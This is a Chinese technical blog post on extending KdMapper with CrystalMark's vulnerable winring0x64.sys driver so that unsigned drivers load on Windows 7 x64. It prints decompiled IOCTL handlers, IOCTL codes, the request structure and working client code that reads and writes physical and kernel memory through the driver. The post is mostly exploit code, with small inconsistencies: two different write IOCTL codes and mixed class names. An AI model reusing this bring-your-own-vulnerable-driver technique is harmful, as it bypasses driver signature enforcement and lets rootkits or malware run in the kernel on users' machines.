首页 > 其他分享 >KdMapper扩展实现之CrystalMark(winring0x64.sys)

KdMapper扩展实现之CrystalMark(winring0x64.sys)

时间:2023-09-09 12:11:09浏览次数:49  
标签:__ winring0x64 CrystalMark return pMemoryInfo WINRING0X64 sys MEMORY PHYSICAL

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 winring0x64.sys 
时间戳 47638AA4
MD5 12CECC3C14160F32B21279C1A36B8338
文件版本 1.0.1.2

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return sub_11008(DriverObject);
}

 

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS result; // eax
        NTSTATUS v3; // ebx
        struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF

        DeviceObject = 0i64;
        RtlInitUnicodeString(&DeviceName, L"\\Device\\WinRing0_1_0_1");
        result = IoCreateDevice(DriverObject, 0, &DeviceName, 0x9C40u, 0x100u, 0, &DeviceObject);
        if (result >= 0)
        {
                dword_13110 = 0;
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_110D8;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_110D8;
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_110D8;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11450;
                RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\WinRing0_1_0_1");
                v3 = IoCreateSymbolicLink(&DestinationString, &DeviceName);
                if (v3 < 0)
                        IoDeleteDevice(DeviceObject);
                result = v3;
        }
        else
        {
                dword_13110 = -1;
        }
        return result;
}

 

3.3 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_110D8,其代码如下:

__int64 __fastcall sub_110D8(_DEVICE_OBJECT* pDeviceObject, _IRP* pIrp)
{
        unsigned int* pInformationReturn; // rsi
        _IO_STACK_LOCATION* pIosp; // rdx
        unsigned int ntStatus; // ebx
        ......

        pInformationReturn = (unsigned int*)&pIrp->IoStatus.Information;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        *(_QWORD*)pInformationReturn = 0i64;
        ntStatus = 0xC0000002;
	......

        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (v6 > 0x9C4060D4)
        {
		switch (nIoControlCode)
		{
			case 0x9C406104:
				v10 = ReadPhysicalMemory(
					(_WINRING0X64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
					pIosp->Parameters.DeviceIoControl.InputBufferLength,
					pIrp->AssociatedIrp.SystemBuffer,
					pIosp->Parameters.DeviceIoControl.OutputBufferLength,
					pInformationReturn);
				break;
				......
			case 0x9C40A108:
				v10 = WritePhysicalMemory(
					(_WINRING0X64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
					pIosp->Parameters.DeviceIoControl.InputBufferLength,
					pIrp->AssociatedIrp.SystemBuffer,
					pIosp->Parameters.DeviceIoControl.OutputBufferLength,
					pInformationReturn);
				break;
		}
LABEL_66:
        pIrp->IoStatus.Status = ntStatus;
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

  其中读取物理内存 ControlCode 为 0x9C406104,写入物理内存为 0x9C406144。

 

3.4 读取物理内存

  如下:

__int64 __fastcall ReadPhysicalMemory(_WINRING0X64_PHYSICAL_MEMORY_INFO* pMemoryInfo, int nInputBufferLength, void* SystemBuffer, unsigned int nOutputBufferLength, unsigned int* ntStatusInformation)
{
        unsigned int nTotalSize; // eax
        SIZE_T nTotalSizeUnmap; // r12
        PVOID pMappedAddress; // rax
        char bErrorAlign; // bp
        __int64 nCopyPer4BytesLength; // rcx
        _DWORD* pBufferPer4Bytes; // rdi
        _DWORD* pMappedAddressPer4Bytes; // rsi
        __int64 nCopyPer2BytesLength; // rcx
        _WORD* pBufferPer2Bytes; // rdi
        _WORD* pMappedAddressPer2Bytes; // rsi

        if (nInputBufferLength != 16)
                return 0xC000000Di64;
        nTotalSize = pMemoryInfo->Length * pMemoryInfo->CopyAlign;
        if (nOutputBufferLength < nTotalSize)
                return 0xC000000Di64;
        nTotalSizeUnmap = nTotalSize;
        pMappedAddress = MmMapIoSpace(pMemoryInfo->PhysicalAddress, nTotalSize, MmNonCached);
        bErrorAlign = 0;
        switch (pMemoryInfo->CopyAlign)
        {
        case 1u:
                qmemcpy(SystemBuffer, pMappedAddress, pMemoryInfo->Length);
                break;
        case 2u:
                nCopyPer2BytesLength = pMemoryInfo->Length;
                pBufferPer2Bytes = SystemBuffer;
                pMappedAddressPer2Bytes = pMappedAddress;
                while (nCopyPer2BytesLength)
                {
                        *pBufferPer2Bytes++ = *pMappedAddressPer2Bytes++;
                        --nCopyPer2BytesLength;
                }
                break;
        case 4u:
                nCopyPer4BytesLength = pMemoryInfo->Length;
                pBufferPer4Bytes = SystemBuffer;
                pMappedAddressPer4Bytes = pMappedAddress;
                while (nCopyPer4BytesLength)
                {
                        *pBufferPer4Bytes++ = *pMappedAddressPer4Bytes++;
                        --nCopyPer4BytesLength;
                }
                break;
        default:
                bErrorAlign = 1;
                break;
        }
        MmUnmapIoSpace(pMappedAddress, nTotalSizeUnmap);
        if (bErrorAlign)
                return 0xC000000Di64;
        *ntStatusInformation = nOutputBufferLength;
        return 0i64;
}

 

3.5 写入物理内存

  如下:

__int64 __fastcall WritePhysicalMemory(_WINRING0X64_PHYSICAL_MEMORY_INFO* pMemoryInfo, unsigned int nInputBufferLength, void* SystemBuffer, __int64 nOutputBufferLength, _DWORD* ntStatusInformation)
{
        SIZE_T nTotalSize; // rbx
        PVOID pMappedAddress; // rax
        char bErrorAlign; // bp
        __int64 nCopyPer4BytesLength; // rcx
        _DWORD* pBufferPer4Bytes; // rsi
        _DWORD* pMappedAddressPer4Bytes; // rdi
        __int64 nCopyPer2BytesLength; // rcx
        _WORD* pBufferPer2Bytes; // rsi
        _WORD* pMappedAddressPer2Bytes; // rdi
        signed __int32 v16[10]; // [rsp+0h] [rbp-28h] BYREF

        if (nInputBufferLength < 0x10)
                return 0xC000000Di64;
        nTotalSize = pMemoryInfo->CopyAlign * pMemoryInfo->Length;
        if (nInputBufferLength < nTotalSize + 16)
                return 0xC000000Di64;
        pMappedAddress = MmMapIoSpace(pMemoryInfo->PhysicalAddress, nTotalSize, MmNonCached);
        bErrorAlign = 0;
        switch (pMemoryInfo->CopyAlign)
        {
        case 1u:
                qmemcpy(pMappedAddress, &pMemoryInfo[1], pMemoryInfo->Length);
                break;
        case 2u:
                nCopyPer2BytesLength = pMemoryInfo->Length;
                pBufferPer2Bytes = &pMemoryInfo[1];
                pMappedAddressPer2Bytes = pMappedAddress;
                while (nCopyPer2BytesLength)
                {
                        *pMappedAddressPer2Bytes++ = *pBufferPer2Bytes++;
                        --nCopyPer2BytesLength;
                }
                break;
        case 4u:
                nCopyPer4BytesLength = pMemoryInfo->Length;
                pBufferPer4Bytes = &pMemoryInfo[1].PhysicalAddress;
                pMappedAddressPer4Bytes = pMappedAddress;
                while (nCopyPer4BytesLength)
                {
                        *pMappedAddressPer4Bytes++ = *pBufferPer4Bytes++;
                        --nCopyPer4BytesLength;
                }
                break;
        default:
                bErrorAlign = 1;
                goto LABEL_18;
        }
        _InterlockedOr(v16, 0);
LABEL_18:
        MmUnmapIoSpace(pMappedAddress, nTotalSize);
        if (bErrorAlign)
                return 0xC000000Di64;
        *ntStatusInformation = 0;
        return 0i64;
}

 

3.6 _WINRING0X64_PHYSICAL_MEMORY_INFO结构

00000000 _WINRING0X64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x10, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 CopyAlign       dd ?
0000000C Length          dd ?
00000010 _WINRING0X64_PHYSICAL_MEMORY_INFO ends

 

3.7 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct _WINRING0X64_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
                ULONG CopyAlign; // 1,2,4 使用1时是正常按字节复制数据
                ULONG Length;
        } WINRING0X64_PHYSICAL_MEMORY_INFO, *PWINRING0X64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define WINRING0X64_DEVICE_TYPE          (DWORD)0x9C40
#define WINRING0X64_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x1841
#define WINRING0X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x2842

#define IOCTL_WINRING0X64_READ_PHYSICAL_MEMORY      \
    CTL_CODE(WINRING0X64_DEVICE_TYPE, WINRING0X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C406104
#define IOCTL_WINRING0X64_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(WINRING0X64_DEVICE_TYPE, WINRING0X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40A108

 

4.2 .c文件

NTSTATUS crystalmark_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL crystalmark_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

BOOL WINAPI crystalmark_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;


        WINRING0X64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));
        request.CopyAlign = 1;
        request.Length = NumberOfBytes;
        request.PhysicalAddress.QuadPart = PhysicalAddress;
        __try {

                if (DoWrite) {
                        ULONG nAllocateBufferLength = sizeof(WINRING0X64_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
                        PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
                        if (pBufferWrite)
                        {
                                RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
                                RtlCopyMemory(pBufferWrite, &request, sizeof(request));
                                RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_WINRING0X64_WRITE_PHYSICAL_MEMORY,
                                        pBufferWrite,
                                        nAllocateBufferLength,
                                        0,
                                        0);
                        }
                        else
                        {
                                Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
                        }

                }
                else {
                        bResult = SuperCallDriver(DeviceHandle,
                                IOCTL_WINRING0X64_READ_PHYSICAL_MEMORY,
                                &request,
                                sizeof(request),
                                Buffer,
                                NumberOfBytes);
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

5. 运行效果

  Windows7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

6.特别提示

  使用winring0x64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

标签:__,winring0x64,CrystalMark,return,pMemoryInfo,WINRING0X64,sys,MEMORY,PHYSICAL
From: https://www.cnblogs.com/ImprisonedSoul/p/17689133.html

相关文章

  • KdMapper扩展实现之CPUID(cpuz141.sys)
    1.背景  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称cpuz141.sys 时间戳583446......
  • Java系统变量参数 获取 设置 System.getProperties()
    目录1.获取2.设置3.常用参数4.Systm.getenv()与System.getProperties()区别1.获取 StringosName=System.getProperties().getProperty("os.name"); System.out.println(osName);结果输出:Windows102.设置System.setProperty("jdbc.drivers"......
  • Java的System.setProperty()和System.getProperty()
    写在前面:这里的System,系统指的是JRE(runtime)system,不是指OS。参数设置成为系统的全局变量,可以在项目的任何一个地方,通过System.getProperty("变量");来获得。System.setProperty相当于一个静态变量,存在内存里面!System.setProperty()/* *设置指定键对值的系统属性 *......
  • System.Threading.Tasks.Extensions介绍
    System.Threading.Tasks.Extensions是一个用于扩展.NET中任务(Task)的库,它提供了一些额外的功能,特别是在异步编程方面。这个库引入了一些新的方法和功能,包括:ConfigureAwait:它引入了ConfigureAwait方法,允许你在任务之间配置不同的上下文(例如,同步上下文或异步上下文),以便更好地......
  • android调试工具--dumpsys
    dumpsys执行格式为:dumpsys[option] 其中option参数可以为service和acitivity,参数service可以是系统中任意一个服务,比如meminfo服务显示内存信息,cpuinfo现实cpu信息参数acitivity可以现实所有的activity信息......
  • ubuntu下syslog.conf 不存在
    ubuntu的/etc/syslog.conf不再有!而是/etc/rsyslog.conf代替!https://wiki.ubuntu.com/KarmicKoala/ReleaseNotes目前一些Linux发行版用Rsyslogd替代了syslogd。RHEL从6版本开始就默认使用rsyslogd了。rsyslogd兼容syslogd的配置。Rsyslog是一个syslogd的多线......
  • sysfs文件系统各子目录含义
    /sys/block块设备目录,目前此目录已指向到/sys/devices/中设备描述符链接文件/sys/bus设备按总线类型分层放置子目录,/sys/devices/中的所有设备都是链接于某种总线,bus子目录在每一种具体总线之下都可以找到对应每一个具体设备的描述符号链接/sys/class设备按功能分类放置子目录,/......
  • 简读||Dynamic Metasurface Antennas for Uplink Massive MIMO Systems
    用于上行链路大规模MIMO系统的动态超表面天线摘要:大规模多输入多输出(MIMO)通信是近年来人们广泛关注的焦点。虽然大规模MIMO的理论增益已经确立,但在实践中实现具有大规模天线阵列的MIMO系统仍具有挑战性。与大规模MIMO系统相关的实际挑战包括成本、功耗和物理尺寸的增加。......
  • Android官方资料--A/B System Updates
    A/BSystemUpdatesINTHISDOCUMENTOverviewBootloaderstateexamplesUpdateEnginefeaturesLifeofanA/BupdatePost-installstepImplementationKernelpatchesKernelcommandlineargumentsRecoveryBuildvariablesPartitionsFstabKernelslotargumentsOTApacka......
  • 11linux系统syslog服务
    1.简介syslog是linux自带的系统日志服务进程,下面的例子以centos7为例。 2.syslog服务端开启udp514端口vi/etc/rsyslog.conf#去掉注释UDP下面的两行首行#,采用udp514接收数据#下面TCP注释是采用Tcp协议接收数据...#ProvidesUDPsyslogreception$ModLoad......